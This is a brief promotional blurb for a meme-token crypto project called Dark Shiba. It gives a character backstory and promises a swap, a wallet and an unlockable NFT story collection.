Dark Shiba was never evil, he was just never understood and recognised. With his knowledge, he looks to release a set of 
utilities including a swap, wallet & NFT Lore collection that are not outdated like his brother Shiba. The NFT Lore will 
be a collection made up of various different sections that once all unlocked, users will be able to read an eye catching 
and interactive story.

Dark Shiba is all about his community, he is building a community that is tight-knit, fierce, loyal and brave that will 
help defeat his brother and become the number one facility for trading meme tokens.
